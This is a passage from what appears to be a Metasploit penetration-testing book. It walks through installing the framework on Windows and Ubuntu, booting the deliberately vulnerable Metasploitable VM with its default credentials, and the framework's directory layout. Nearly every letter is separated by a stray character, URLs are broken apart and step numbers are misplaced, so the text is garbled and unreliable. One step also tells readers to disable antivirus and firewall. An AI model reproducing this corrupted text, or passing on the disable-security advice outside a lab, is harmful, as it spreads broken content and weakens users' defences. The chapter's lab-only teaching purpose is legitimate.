�a�v�a�i�l�a�b�l�e� �f�o�r� �W�i�n�d�o�w�s� �p�l�a�t�f�o�r�m�.� �H�e�n�c�e� �i�t�'�s� �s�t�r�o�n�g�l�y� �r�e�c�o�m�m�e�n�d�e�d� �t�o� �i�n�s�t�a�l�l� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k� �o�n� �L�i�n�u�x� �p�l�a�t�f�o�r�m�.

�T�h�e� �f�o�l�l�o�w�i�n�g� �a�r�e� �t�h�e� �s�t�e�p�s� �f�o�r� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�n�s�t�a�l�l�a�t�i�o�n� �o�n� �W�i�n�d�o�w�s�:

�D�o�w�n�l�o�a�d� �t�h�e� �l�a�t�e�s�t� �M�e�t�a�s�p�l�o�i�t� �W�i�n�d�o�w�s� �i�n�s�t�a�l�l�e�r� �f�r�o�m�:� h  t  t  p  s  ://g  i  t  h  u  b  .  c  o  m /r�1�.
a  p  i  d  7/m  e  t  a  s  p  l  o  i  t  -  f  r  a  m e  w o  r  k  /w  i  k  i  /D  o  w n  l  o  a  d  s  -  b  y  -  V e  r  s  i  o  n  �.
�D�o�u�b�l�e� �c�l�i�c�k� �a�n�d� �o�p�e�n� �t�h�e� �d�o�w�n�l�o�a�d�e�d� �i�n�s�t�a�l�l�e�r�.�2�.
�C�l�i�c�k� �N�e�x�t�,� �a�s� �s�e�e�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:�3�.
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�[� �2�4� �]

�A�c�c�e�p�t� �t�h�e� �l�i�c�e�n�s�e� �a�g�r�e�e�m�e�n�t�:�4�.

�S�e�l�e�c�t� �t�h�e� �l�o�c�a�t�i�o�n� �w�h�e�r�e� �y�o�u� �w�i�s�h� �t�o� �i�n�s�t�a�l�l� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�:�5�.
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�[� �2�5� �]

�C�l�i�c�k� �o�n� �I�n�s�t�a�l�l� �t�o� �p�r�o�c�e�e�d� �f�u�r�t�h�e�r�:�6�.

�T�h�e� �M�e�t�a�s�p�l�o�i�t� �i�n�s�t�a�l�l�e�r� �p�r�o�g�r�e�s�s�e�s� �b�y� �c�o�p�y�i�n�g� �t�h�e� �r�e�q�u�i�r�e�d� �f�i�l�e�s� �t�o� �t�h�e
�d�e�s�t�i�n�a�t�i�o�n� �f�o�l�d�e�r�:



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �2�6� �]

�C�l�i�c�k� �o�n� �F�i�n�i�s�h� �t�o� �c�o�m�p�l�e�t�e� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�n�s�t�a�l�l�a�t�i�o�n�:�7�.

�N�o�w� �t�h�a�t� �t�h�e� �i�n�s�t�a�l�l�a�t�i�o�n� �i�s� �c�o�m�p�l�e�t�e�,� �l�e�t�s� �t�r�y� �t�o� �a�c�c�e�s�s� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �t�h�r�o�u�g�h
�t�h�e� �c�o�m�m�a�n�d� �l�i�n�e� �i�n�t�e�r�f�a�c�e�:

�P�r�e�s�s� �t�h�e� �W�i�n�d�o�w�s� �K�e�y� �+� �R�.�1�.
�T�y�p�e� cmd� �a�n�d� �p�r�e�s�s� �E�n�t�e�r�.�2�.

�U�s�i�n�g� cd �,� �n�a�v�i�g�a�t�e� �t�o� �t�h�e� �f�o�l�d�e�r�/�p�a�t�h� �w�h�e�r�e� �y�o�u� �i�n�s�t�a�l�l�e�d� �t�h�e� �M�e�t�a�s�p�l�o�i�t�3�.
�F�r�a�m�e�w�o�r�k�.



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �2�7� �]

�T�y�p�e� msfconsole � �a�n�d� �h�i�t� �E�n�t�e�r�;� �y�o�u� �s�h�o�u�l�d� �b�e� �a�b�l�e� �t�o� �s�e�e� �t�h�e� �f�o�l�l�o�w�i�n�g�:�4�.



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �2�8� �]

�I�n�s�t�a�l�l�i�n�g� �M�e�t�a�s�p�l�o�i�t� �o�n� �L�i�n�u�x
�F�o�r� �t�h�e� �s�c�o�p�e� �o�f� �t�h�i�s� �b�o�o�k�,� �w�e� �w�i�l�l� �b�e� �i�n�s�t�a�l�l�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�n� �U�b�u�n�t�u
�(�D�e�b�i�a�n� �b�a�s�e�d�)� �s�y�s�t�e�m�.� �B�e�f�o�r�e� �w�e� �b�e�g�i�n� �t�h�e� �i�n�s�t�a�l�l�a�t�i�o�n�,� �w�e� �f�i�r�s�t� �n�e�e�d� �t�o� �d�o�w�n�l�o�a�d� �t�h�e
�l�a�t�e�s�t� �i�n�s�t�a�l�l�e�r�.� �T�h�i�s� �c�a�n� �b�e� �d�o�n�e� �u�s�i�n�g� wget � �c�o�m�m�a�n�d� �a�s� �f�o�l�l�o�w�s�:

�O�p�e�n� �a� �t�e�r�m�i�n�a�l� �w�i�n�d�o�w� �a�n�d� �t�y�p�e�:�1�.

�w�g�e�t
�h�t�t�p�:�/�/�d�o�w�n�l�o�a�d�s�.�m�e�t�a�s�p�l�o�i�t�.�c�o�m�/�d�a�t�a�/�r�e�l�e�a�s�e�s�/�m�e�t�a�s�p�l�o�i�t�-�l�a�t�e�s�t�-�l�i�n
�u�x�-�i�n�s�t�a�l�l�e�r�.�r�u�n



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �2�9� �]

�O�n�c�e� �t�h�e� �i�n�s�t�a�l�l�e�r� �h�a�s� �b�e�e�n� �d�o�w�n�l�o�a�d�e�d�,� �w�e� �n�e�e�d� �t�o� �c�h�a�n�g�e� �t�h�e� �m�o�d�e� �o�f� �t�h�e�2�.
�i�n�s�t�a�l�l�e�r� �t�o� �b�e� �e�x�e�c�u�t�a�b�l�e�.� �T�h�i�s� �c�a�n� �b�e� �d�o�n�e� �a�s� �f�o�l�l�o�w�s�:

�F�o�r� �6�4�-�b�i�t� �s�y�s�t�e�m�s�:� chmod +x /path/to/metasploit-latest-
linux-x64-installer.run

�F�o�r� �3�2�-�b�i�t� �s�y�s�t�e�m�s�:� chmod +x /path/to/metasploit-latest-
linux-installer.run

�N�o�w� �w�e� �a�r�e� �r�e�a�d�y� �t�o� �l�a�u�n�c�h� �t�h�e� �i�n�s�t�a�l�l�e�r� �u�s�i�n�g� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�m�m�a�n�d�:�3�.

�F�o�r� �6�4�-�b�i�t� �s�y�s�t�e�m�s�:� sudo / path / to / metasploit-latest-linux-
x64-installer.run

�F�o�r� �3�2�-�b�i�t� �s�y�s�t�e�m�s�:� sudo / path / to / metasploit-latest-linux-
installer.run

�W�e� �c�a�n� �s�e�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �i�n�s�t�a�l�l�e�r�:�4�.
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�[� �3�0� �]

�A�c�c�e�p�t� �t�h�e� �l�i�c�e�n�s�e� �a�g�r�e�e�m�e�n�t�:�5�.

�C�h�o�o�s�e� �t�h�e� �i�n�s�t�a�l�l�a�t�i�o�n� �d�i�r�e�c�t�o�r�y� �(�I�t�'�s� �r�e�c�o�m�m�e�n�d�e�d� �t�o� �l�e�a�v�e� �t�h�i�s� �a�s�-�i�s� �f�o�r� �d�e�f�a�u�l�t�6�.
�i�n�s�t�a�l�l�a�t�i�o�n�)�:



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �3�1� �]

�S�e�l�e�c�t� �Y�e�s� �t�o� �i�n�s�t�a�l�l� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �a�s� �a� �s�e�r�v�i�c�e�:�7�.

�E�n�s�u�r�e� �y�o�u� �d�i�s�a�b�l�e� �a�n�y� �A�n�t�i�v�i�r�u�s� �o�r� �F�i�r�e�w�a�l�l� �t�h�a�t� �m�i�g�h�t� �b�e� �a�l�r�e�a�d�y� �r�u�n�n�i�n�g� �o�n�8�.
�y�o�u�r� �s�y�s�t�e�m�.� �S�e�c�u�r�i�t�y� �p�r�o�d�u�c�t�s� �s�u�c�h� �a�s� �A�n�t�i�v�i�r�u�s� �a�n�d� �F�i�r�e�w�a�l�l� �m�a�y� �b�l�o�c�k� �m�a�n�y
�o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �m�o�d�u�l�e�s� �a�n�d� �e�x�p�l�o�i�t�s� �f�r�o�m� �f�u�n�c�t�i�o�n�i�n�g� �c�o�r�r�e�c�t�l�y�:



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �3�2� �]

�E�n�t�e�r� �t�h�e� �p�o�r�t� �n�u�m�b�e�r� �o�n� �w�h�i�c�h� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �s�e�r�v�i�c�e� �w�i�l�l� �r�u�n�.� �(�I�t�'�s�9�.
�r�e�c�o�m�m�e�n�d�e�d� �t�o� �l�e�a�v�e� �t�h�i�s� �a�s�-�i�s� �f�o�r� �d�e�f�a�u�l�t� �i�n�s�t�a�l�l�a�t�i�o�n�)�:

�E�n�t�e�r� �t�h�e� �h�o�s�t�-�n�a�m�e� �o�n� �w�h�i�c�h� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �w�i�l�l� �r�u�n�.� �(�I�t�'�s�1�0�.
�r�e�c�o�m�m�e�n�d�e�d� �t�o� �l�e�a�v�e� �t�h�i�s� �a�s�-�i�s� �f�o�r� �d�e�f�a�u�l�t� �i�n�s�t�a�l�l�a�t�i�o�n�)�:



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �3�3� �]

�C�l�i�c�k� �o�n� �F�o�r�w�a�r�d� �t�o� �p�r�o�c�e�e�d� �w�i�t�h� �t�h�e� �i�n�s�t�a�l�l�a�t�i�o�n�:�1�1�.



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �3�4� �]

�N�o�w� �t�h�a�t� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�n�s�t�a�l�l�a�t�i�o�n� �i�s� �c�o�m�p�l�e�t�e�:�1�2�.

�L�e�t�'�s� �t�r�y� �t�o� �a�c�c�e�s�s� �i�t� �t�h�r�o�u�g�h� �c�o�m�m�a�n�d�-�l�i�n�e� �i�n�t�e�r�f�a�c�e�:

�O�p�e�n� �t�h�e� �t�e�r�m�i�n�a�l� �w�i�n�d�o�w�,� �t�y�p�e� �t�h�e� �c�o�m�m�a�n�d� msfconsole � �a�n�d� �h�i�t� �E�n�t�e�r�.� �Y�o�u�1�.
�s�h�o�u�l�d� �g�e�t� �t�h�e� �f�o�l�l�o�w�i�n�g� �o�n� �y�o�u�r� �s�c�r�e�e�n�:



�S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t

�[� �3�5� �]

�S�e�t�t�i�n�g� �u�p� �e�x�p�l�o�i�t�a�b�l�e� �t�a�r�g�e�t�s� �i�n� �a� �v�i�r�t�u�a�l
�e�n�v�i�r�o�n�m�e�n�t
�M�e�t�a�s�p�l�o�i�t� �i�s� �a� �p�o�w�e�r�f�u�l� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �f�r�a�m�e�w�o�r�k� �w�h�i�c�h�,� �i�f� �n�o�t� �u�s�e�d� �i�n� �a� �c�o�n�t�r�o�l�l�e�d
�m�a�n�n�e�r�,� �c�a�n� �c�a�u�s�e� �p�o�t�e�n�t�i�a�l� �d�a�m�a�g�e� �t�o� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �F�o�r� �t�h�e� �s�a�k�e� �o�f� �l�e�a�r�n�i�n�g� �a�n�d
�p�r�a�c�t�i�c�i�n�g� �M�e�t�a�s�p�l�o�i�t�,� �w�e� �c�a�n� �c�e�r�t�a�i�n�l�y� �n�o�t� �u�s�e� �i�t� �o�n� �a�n�y� �l�i�v�e� �p�r�o�d�u�c�t�i�o�n� �s�y�s�t�e�m� �f�o�r� �w�h�i�c�h
�w�e� �d�o�n�'�t� �h�a�v�e� �a�n�y� �a�u�t�h�o�r�i�z�e�d� �p�e�r�m�i�s�s�i�o�n�.� �H�o�w�e�v�e�r�,� �w�e� �c�a�n� �p�r�a�c�t�i�c�e� �o�u�r� �n�e�w�l�y� �a�c�q�u�i�r�e�d
�M�e�t�a�s�p�l�o�i�t� �s�k�i�l�l�s� �i�n� �o�u�r� �o�w�n� �v�i�r�t�u�a�l� �e�n�v�i�r�o�n�m�e�n�t� �w�h�i�c�h� �h�a�s� �b�e�e�n� �d�e�l�i�b�e�r�a�t�e�l�y� �m�a�d�e
�v�u�l�n�e�r�a�b�l�e�.� �T�h�i�s� �c�a�n� �b�e� �a�c�h�i�e�v�e�d� �t�h�r�o�u�g�h� �a� �L�i�n�u�x� �b�a�s�e�d� �s�y�s�t�e�m� �c�a�l�l�e�d� �M�e�t�a�s�p�l�o�i�t�a�b�l�e� �w�h�i�c�h
�h�a�s� �m�a�n�y� �d�i�f�f�e�r�e�n�t� �t�r�i�v�i�a�l� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �r�a�n�g�i�n�g� �f�r�o�m� �O�S� �l�e�v�e�l� �t�o� �A�p�p�l�i�c�a�t�i�o�n� �l�e�v�e�l�.
�M�e�t�a�s�p�l�o�i�t�a�b�l�e� �i�s� �a� �r�e�a�d�y�-�t�o�-�u�s�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �w�h�i�c�h� �c�a�n� �b�e� �d�o�w�n�l�o�a�d�e�d� �f�r�o�m� �t�h�e
�f�o�l�l�o�w�i�n�g� �l�o�c�a�t�i�o�n�:� h  t  t  p  s  ://s  o  u  r  c  e  f  o  r  g  e  .  n  e  t  /p  r  o  j  e  c  t  s  /m  e  t  a  s  p  l  o  i  t  a  b  l  e  /f  i  l  e  s  /M  e  t  a  s  p
l  o  i  t  a  b  l  e  2/

�O�n�c�e� �d�o�w�n�l�o�a�d�e�d�,� �i�n� �o�r�d�e�r� �t�o� �r�u�n� �t�h�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e�,� �y�o�u� �n�e�e�d� �t�o� �h�a�v�e� �V�M�P�l�a�y�e�r� �o�r
�V�M�w�a�r�e� �W�o�r�k�s�t�a�t�i�o�n� �i�n�s�t�a�l�l�e�d� �o�n� �y�o�u�r� �s�y�s�t�e�m�.� �T�h�e� �i�n�s�t�a�l�l�a�t�i�o�n� �s�t�e�p�s� �a�l�o�n�g� �w�i�t�h� 
�s�c�r�e�e�n�s�h�o�t�s� �a�r�e� �g�i�v�e�n� �b�e�l�o�w�:

�V�M�P�l�a�y�e�r� �c�a�n� �b�e� �o�b�t�a�i�n�e�d� �f�r�o�m� h  t  t  p  s  ://w  w w .  v  m w a  r  e  .  c  o  m /g  o  /d  o  w n  l  o  a  d  p
l  a  y  e  r  �i�f� �n�o�t� �a�l�r�e�a�d�y� �i�n�s�t�a�l�l�e�d

�I�n� �o�r�d�e�r� �t�o� �r�u�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t�a�b�l�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e�,� �f�i�r�s�t� �l�e�t�'�s� �e�x�t�r�a�c�t� �i�t� �f�r�o�m� �t�h�e�1�.
�z�i�p� �f�i�l�e� �t�o� �a�n�y� �l�o�c�a�t�i�o�n� �o�f� �o�u�r� �c�h�o�i�c�e�:
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�D�o�u�b�l�e� �c�l�i�c�k� �o�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t�a�b�l�e� �V�M�w�a�r�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �c�o�n�f�i�g�u�r�a�t�i�o�n� �f�i�l�e�2�.
�t�o� �o�p�e�n� �t�h�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e�.� �T�h�i�s� �w�o�u�l�d� �r�e�q�u�i�r�e� �p�r�i�o�r� �i�n�s�t�a�l�l�a�t�i�o�n� �o�f� �e�i�t�h�e�r
�V�M�P�l�a�y�e�r� �o�r� �V�M�w�a�r�e� �W�o�r�k�s�t�a�t�i�o�n�:
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�C�l�i�c�k� �o�n� �t�h�e� �g�r�e�e�n� Play � �i�c�o�n� �t�o� �s�t�a�r�t� �t�h�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e�:�3�.

�O�n�c�e� �t�h�e� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �b�o�o�t�s� �u�p�,� �y�o�u� �c�a�n� �l�o�g�i�n� �i�n�t�o� �t�h�e� �s�a�m�e� �u�s�i�n�g� �t�h�e�4�.
�f�o�l�l�o�w�i�n�g� �c�r�e�d�e�n�t�i�a�l�s�:

 User name - �m�s�f�a�d�m�i�n
 Password - �m�s�f�a�d�m�i�n

�W�e� �c�a�n� �u�s�e� �t�h�i�s� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �l�a�t�e�r� �f�o�r� �p�r�a�c�t�i�c�i�n�g� �t�h�e� �s�k�i�l�l�s� �t�h�a�t� �w�e� �l�e�a�r�n� �i�n� �t�h�i�s� �b�o�o�k�.

�S�u�m�m�a�r�y
�I�n� �t�h�i�s� �c�h�a�p�t�e�r� �w�e� �h�a�v�e� �l�e�a�r�n�e�d� �h�o�w� �t�o� �q�u�i�c�k�l�y� �g�e�t� �s�t�a�r�t�e�d� �w�i�t�h� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k
�b�y� �i�n�s�t�a�l�l�i�n�g� �i�t� �o�n� �v�a�r�i�o�u�s� �p�l�a�t�f�o�r�m�s�.� �H�a�v�i�n�g� �d�o�n�e� �w�i�t�h� �t�h�e� �i�n�s�t�a�l�l�a�t�i�o�n� �p�a�r�t�,� �w�e�'�l�l� �p�r�o�c�e�e�d
�f�u�r�t�h�e�r� �t�o� �t�h�e� �n�e�x�t� �c�h�a�p�t�e�r� �t�o� �g�e�t� �a�n� �o�v�e�r�v�i�e�w� �o�f� �s�t�r�u�c�t�u�r�e� �o�f� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �c�o�m�p�o�n�e�n�t
�l�e�v�e�l� �d�e�t�a�i�l�s�.
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�E�x�e�r�c�i�s�e�s
�Y�o�u� �c�a�n� �t�r�y� �t�h�e� �f�o�l�l�o�w�i�n�g� �e�x�e�r�c�i�s�e�s�:

�D�o�w�n�l�o�a�d� �K�a�l�i� �L�i�n�u�x� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e� �a�n�d� �p�l�a�y� �i�t� �i�n� �V�M�P�l�a�y�e�r� �o�r� �V�M�w�a�r�e
�W�o�r�k�s�t�a�t�i�o�n
�T�r�y� �i�n�s�t�a�l�l�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�n� �U�b�u�n�t�u
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�E�n�v�i�r�o�n�m�e�n�t� �C�o�n�f�i�g�u�r�a�t�i�o�n
�F�o�r� �a�n�y� �t�o�o�l� �t�h�a�t� �w�e� �u�s�e� �t�o� �p�e�r�f�o�r�m� �a� �p�a�r�t�i�c�u�l�a�r� �t�a�s�k�,� �i�t�'�s� �a�l�w�a�y�s� �h�e�l�p�f�u�l� �t�o� �k�n�o�w� �t�h�a�t� �t�o�o�l
�i�n�s�i�d�e� �o�u�t�.� �A� �d�e�t�a�i�l�e�d� �u�n�d�e�r�s�t�a�n�d�i�n�g� �o�f� �t�h�e� �t�o�o�l� �e�n�a�b�l�e�s� �u�s� �t�o� �u�s�e� �i�t� �a�p�t�l�y�,� �m�a�k�i�n�g� �i�t� �p�e�r�f�o�r�m
�t�o� �t�h�e� �f�u�l�l�e�s�t� �o�f� �i�t�s� �c�a�p�a�b�i�l�i�t�y�.� �N�o�w� �t�h�a�t� �y�o�u� �h�a�v�e� �l�e�a�r�n�e�d� �s�o�m�e� �o�f� �t�h�e� �a�b�s�o�l�u�t�e� �b�a�s�i�c�s� �o�f� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �a�n�d� �i�t�s� �i�n�s�t�a�l�l�a�t�i�o�n�,� �i�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �y�o�u� �w�i�l�l� �l�e�a�r�n� �h�o�w� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�s� �s�t�r�u�c�t�u�r�e�d� �a�n�d� �w�h�a�t� �t�h�e� �v�a�r�i�o�u�s� �c�o�m�p�o�n�e�n�t�s� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�e�c�o�s�y�s�t�e�m�.� �T�h�e� �f�o�l�l�o�w�i�n�g� �t�o�p�i�c�s� �w�i�l�l� �b�e� �c�o�v�e�r�e�d� �i�n� �t�h�i�s� �c�h�a�p�t�e�r�:

�A�n�a�t�o�m�y� �a�n�d� �s�t�r�u�c�t�u�r�e� �o�f� �M�e�t�a�s�p�l�o�i�t
�M�e�t�a�s�p�l�o�i�t� �c�o�m�p�o�n�e�n�t�s�-�-�a�u�x�i�l�i�a�r�i�e�s�,� �e�x�p�l�o�i�t�s�,� �e�n�c�o�d�e�r�s�,� �p�a�y�l�o�a�d�s�,� �a�n�d� �p�o�s�t
�G�e�t�t�i�n�g� �s�t�a�r�t�e�d� �w�i�t�h� �m�s�f�c�o�n�s�o�l�e� �a�n�d� �c�o�m�m�o�n� �c�o�m�m�a�n�d�s
�C�o�n�f�i�g�u�r�i�n�g� �l�o�c�a�l� �a�n�d� �g�l�o�b�a�l� �v�a�r�i�a�b�l�e�s
�U�p�d�a�t�i�n�g� �t�h�e� �f�r�a�m�e�w�o�r�k
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�A�n�a�t�o�m�y� �a�n�d� �s�t�r�u�c�t�u�r�e� �o�f� �M�e�t�a�s�p�l�o�i�t
�T�h�e� �b�e�s�t� �w�a�y� �t�o� �l�e�a�r�n� �t�h�e� �s�t�r�u�c�t�u�r�e� �o�f� �M�e�t�a�s�p�l�o�i�t� �i�s� �t�o� �b�r�o�w�s�e� �t�h�r�o�u�g�h� �i�t�s� �d�i�r�e�c�t�o�r�y�.� �W�h�e�n� 
�u�s�i�n�g� �a� �K�a�l�i� �L�i�n�u�x�,� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �i�s� �u�s�u�a�l�l�y� �l�o�c�a�t�e�d� �a�t� �p�a�t�h
/usr/share/metasploit-framework �,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�A�t� �a� �b�r�o�a�d� �l�e�v�e�l�,� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �s�t�r�u�c�t�u�r�e� �i�s� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:
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�T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�a�s� �a� �v�e�r�y� �c�l�e�a�r� �a�n�d� �w�e�l�l�-�d�e�f�i�n�e�d� �s�t�r�u�c�t�u�r�e�,� �a�n�d� �t�h�e
�t�o�o�l�s�/�u�t�i�l�i�t�i�e�s� �w�i�t�h�i�n� �t�h�e� �f�r�a�m�e�w�o�r�k� �a�r�e� �o�r�g�a�n�i�z�e�d� �b�a�s�e�d� �o�n� �t�h�e�i�r� �r�e�l�e�v�a�n�c�e� �i�n� �v�a�r�i�o�u�s
�p�h�a�s�e�s� �o�f� �t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e� �c�y�c�l�e�.� �W�e�'�l�l� �b�e� �u�s�i�n�g� �t�o�o�l�s�/�u�t�i�l�i�t�i�e�s� �f�r�o�m� �e�a�c�h� �o�f� �t�h�e�s�e
�c�a�t�e�g�o�r�i�e�s� �a�s� �w�e� �p�r�o�g�r�e�s�s� �t�h�r�o�u�g�h� �t�h�e� �b�o�o�k�.

�I�n� �t�h�e� �n�e�x�t� �s�e�c�t�i�o�n�,� �w�e�'�l�l� �h�a�v�e� �a� �b�r�i�e�f� �o�v�e�r�v�i�e�w� �o�f� �a�l�l� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �c�o�m�p�o�n�e�n�t�s�.

�M�e�t�a�s�p�l�o�i�t� �c�o�m�p�o�n�e�n�t�s
�T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�a�s� �v�a�r�i�o�u�s� �c�o�m�p�o�n�e�n�t� �c�a�t�e�g�o�r�i�e�s� �b�a�s�e�d� �o�n� �t�h�e�i�r� �r�o�l�e� �i�n� �t�h�e
�p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �p�h�a�s�e�s�.� �T�h�e� �f�o�l�l�o�w�i�n�g� �s�e�c�t�i�o�n�s� �w�i�l�l� �p�r�o�v�i�d�e� �a� �d�e�t�a�i�l�e�d� �u�n�d�e�r�s�t�a�n�d�i�n�g� �o�f
�w�h�a�t� �e�a�c�h� �c�o�m�p�o�n�e�n�t� �c�a�t�e�g�o�r�y� �i�s� �r�e�s�p�o�n�s�i�b�l�e� �f�o�r�.

�A�u�x�i�l�i�a�r�i�e�s
�Y�o�u� �h�a�v�e� �l�e�a�r�n�e�d� �s�o� �f�a�r� �t�h�a�t� �M�e�t�a�s�p�l�o�i�t� �i�s� �a� �c�o�m�p�l�e�t�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �f�r�a�m�e�w�o�r�k� �a�n�d
�n�o�t� �j�u�s�t� �a� �t�o�o�l�.� �W�h�e�n� �w�e� �c�a�l�l� �i�t� �a� �f�r�a�m�e�w�o�r�k�,� �i�t� �m�e�a�n�s� �t�h�a�t� �i�t� �c�o�n�s�i�s�t�s� �o�f� �m�a�n�y� �u�s�e�f�u�l� �t�o�o�l�s
�a�n�d� �u�t�i�l�i�t�i�e�s�.� �A�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �a�r�e� �n�o�t�h�i�n�g� �b�u�t� �s�m�a�l�l� �p�i�e�c�e�s
�o�f� �c�o�d�e� �t�h�a�t� �a�r�e� �m�e�a�n�t� �t�o� �p�e�r�f�o�r�m� �a� �s�p�e�c�i�f�i�c� �t�a�s�k� �(�i�n� �t�h�e� �s�c�o�p�e� �o�f� �o�u�r� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e
�c�y�c�l�e�)�.� �F�o�r� �e�x�a�m�p�l�e�,� �y�o�u� �m�i�g�h�t� �n�e�e�d� �t�o� �p�e�r�f�o�r�m� �a� �s�i�m�p�l�e� �t�a�s�k� �o�f� �v�e�r�i�f�y�i�n�g� �w�h�e�t�h�e�r� �a
�c�e�r�t�i�f�i�c�a�t�e� �o�f� �a� �p�a�r�t�i�c�u�l�a�r� �s�e�r�v�e�r� �h�a�s� �e�x�p�i�r�e�d� �o�r� �n�o�t�,� �o�r� �y�o�u� �m�i�g�h�t� �w�a�n�t� �t�o� �s�c�a�n� �y�o�u�r� �s�u�b�n�e�t
�a�n�d� �c�h�e�c�k� �w�h�e�t�h�e�r� �a�n�y� �o�f� �t�h�e� �F�T�P� �s�e�r�v�e�r�s� �a�l�l�o�w� �a�n�o�n�y�m�o�u�s� �a�c�c�e�s�s�.� �S�u�c�h� �t�a�s�k�s� �c�a�n� �b�e� �v�e�r�y
�e�a�s�i�l�y� �a�c�c�o�m�p�l�i�s�h�e�d� �u�s�i�n�g� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �p�r�e�s�e�n�t� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.

�T�h�e�r�e� �a�r�e� �1�0�0�0� �p�l�u�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �s�p�r�e�a�d� �a�c�r�o�s�s� �1�8� �c�a�t�e�g�o�r�i�e�s� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�.

�T�h�e� �f�o�l�l�o�w�i�n�g� �t�a�b�l�e� �s�h�o�w�s� �v�a�r�i�o�u�s� �c�a�t�e�g�o�r�i�e�s� �o�f� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �p�r�e�s�e�n�t� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k�:
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sniffer analyze dos

docx admin scanner
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�D�o�n�'�t� �g�e�t� �o�v�e�r�w�h�e�l�m�e�d� �w�i�t�h� �t�h�e� �n�u�m�b�e�r� �o�f� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �p�r�e�s�e�n�t� �i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
